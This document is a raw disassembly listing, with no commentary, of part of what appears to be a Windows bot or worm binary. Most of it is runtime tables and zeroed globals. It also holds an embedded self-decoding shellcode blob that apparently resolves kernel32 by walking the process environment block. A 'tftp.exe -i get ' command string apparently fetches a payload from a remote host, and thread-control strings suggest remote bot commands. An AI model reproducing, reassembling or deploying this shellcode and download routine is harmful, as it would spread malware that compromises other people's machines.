--------------------------------------------------------------------------- db 66h, 0B9h word_43941A dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_43941F db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_439424: ; DATA XREF: sub_416C55+A2o jmp short loc_439428 ; --------------------------------------------------------------------------- loc_439426: ; CODE XREF: ___:loc_439428p jmp short loc_43942D ; --------------------------------------------------------------------------- loc_439428: ; CODE XREF: ___:loc_439424j call loc_439426 loc_43942D: ; CODE XREF: ___:loc_439426j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_439431 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_439435 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_43943C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4394A0 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_4394B9 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_4394C0 retn ; --------------------------------------------------------------------------- byte_4394C0 db 0E8h ; CODE XREF: ___:004394BDj dword_4394C1 dd 1 ; DATA XREF: sub_416ADE+45w byte_4394C5 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_4394CF dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_439550 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_439560 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_43956C dd offset sub_417D73 ; DATA XREF: sub_419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_439578 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_43957C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_439590 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_439594 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_439598 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_43959C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_4395A0 dd offset word_4395AA ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_4395A4 dd offset word_4395AA ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_4395AA dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_4395A0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4397AC dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_4397B0 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_4397C0 dd offset off_4397C0 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_4397C4 dd offset off_4397C0 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_4397D8 dd offset dword_4397D8 dword_4397D0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_4397D8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:004397C8o ; ___:004397CCo off_43B7E0 dd offset off_4397C0 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_43B7E4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_43B7E8 dd 14h ; DATA XREF: sub_41C5B8+2o off_43B7EC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_43B8C0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_43B8D0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43B8E8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_43B8F4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_43B900 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_43B904 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_43B908 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_43B90C dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_43B910 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_43B914 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_43B924 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_43B928 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_43B930 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_43B938 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_43B940 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_43B944 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_43B950 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43BA30 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_43BA34 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43BB98 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43BB9C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43BC10 dd 3 ; DATA XREF: sub_41EFAB+58r ; sub_421C3C+C8r dword_43BC14 dd 7 ; DATA XREF: sub_41EFAB+5Er ; sub_421C3C+CDr dword_43BC18 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_43BC1C dd 8Ch ; DATA XREF: sub_41EFAB+82r ; sub_41EFAB+8Fw ... dword_43BC20 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_43BC28 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_43BC2C dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_43BCB8 dd offset dword_48A320 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_48A320 dd 101h dword_43BCC8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_43BCD8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43BCF8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43BD28 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_43BF38 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_43BF40 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_43BF58 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_43BF70 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_43BF74 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_43BF78 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43BF7C dd offset dword_545350 ; DATA XREF: ___:off_43BFFCo dd 0Fh dup(0) off_43BFBC dd offset dword_544450 ; DATA XREF: ___:off_43C000o dd 0Fh dup(0) off_43BFFC dd offset off_43BF7C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_43C000 dd offset off_43BFBC ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_43C008 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_43C00C dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_43C010 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_43C018 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_43C01C dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_43C020 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_43C024 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43C054 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_43C058 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43C090 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43C1F0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43C34C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43C364 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43C384 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd offset off_424D00 dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_43C3C8 dd offset off_424D00 ; DATA XREF: ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_43C3E8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_43C3EA dw 0 ; DATA XREF: sub_40144A+1E3w word_43C3EC dw 0 ; DATA XREF: sub_40144A+1E9w word_43C3EE dw 0 ; DATA XREF: sub_40144A+1F0w byte_43C3F0 db 0 ; DATA XREF: sub_40144A+1F7w byte_43C3F1 db 0 ; DATA XREF: sub_40144A+1FEw word_43C3F2 dw 0 ; DATA XREF: sub_40144A+204w dword_43C3F4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_43C3F8 dd 0 ; DATA XREF: sub_40144A+258w byte_43C3FC db 0 ; DATA XREF: sub_40144A+26Aw byte_43C3FD db 0 ; DATA XREF: sub_40144A+27Dw word_43C3FE dw 0 ; DATA XREF: sub_40144A+295w word_43C400 dw 0 ; DATA XREF: sub_40144A+2A4w word_43C402 dw 0 ; DATA XREF: sub_40144A+29Cw dword_43C404 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_43C808 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_43C80C db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_43C810 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_43C81C dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_43C824 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_43C828 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_43C830 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_43C838 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_43C83C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_43C848 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_43C84C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 3E6h dup(0) dword_43D7E8 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_43D800 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_43D804 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_43D908 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43DA0C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_43DA10 dd 0 ; DATA XREF: sub_407252+52w dword_43DA14 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_43DA18 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_43DA98 dd 0 ; DATA XREF: sub_407252+8Fw dword_43DA9C dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_43DAA0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_43DAA8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_43DAAC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_43DD34 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_43DE38 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_43DE40 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_43DE44 dd 0 ; DATA XREF: sub_407252+2E7w dword_43DE48 dd 0 ; DATA XREF: sub_407252+2F4w dword_43DE4C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_43DE54 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_43DE58 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43DE5C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_43DF60 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_43E064 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_43E068 dd 0 ; DATA XREF: sub_407252+171w dword_43E06C dd 0 ; DATA XREF: sub_407252+1EEr dword_43E070 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_43E0F0 dd 0 ; DATA XREF: sub_407252+1AEw dword_43E0F4 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_43E0F8 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_43E100 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_43E108 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_43E308 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43EB08 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43F308 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43F30C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43F310 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43F314 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43F318 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43F518 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43F520 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43F524 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43F528 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43F52C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43F530 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43F534 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43F538 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43F53C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43F540 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43F544 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43F548 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43F54C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43F550 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43F554 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43F558 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43F55C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43F560 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43F564 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43F568 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43F56C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43F570 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43F574 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43F578 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43F57C dd 0 ; DATA XREF: sub_40981F+B3w dword_43F580 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43F584 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43F588 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43F58C dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43F590 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43F594 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43F598 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43F59C dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43F5A0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43F5A4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43F5A8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43F5AC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43F5B0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43F5B4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43F5B8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43F5BC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43F5C0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43F5C4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43F5C8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43F5CC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43F5D0 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43F5D4 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43F5D8 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43F5DC dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43F5E0 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43F5E4 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43F5E8 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43F5EC dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43F5F0 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43F5F4 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43F5F8 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43F5FC dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43F600 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43F604 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43F608 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43F60C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43F610 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43F614 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43F618 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43F61C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43F620 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43F624 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43F628 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43F62C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43F630 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43F634 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43F638 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43F63C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43F640 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43F644 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43F648 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43F64C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43F650 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43F654 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43F658 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43F65C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43F660 dd 0 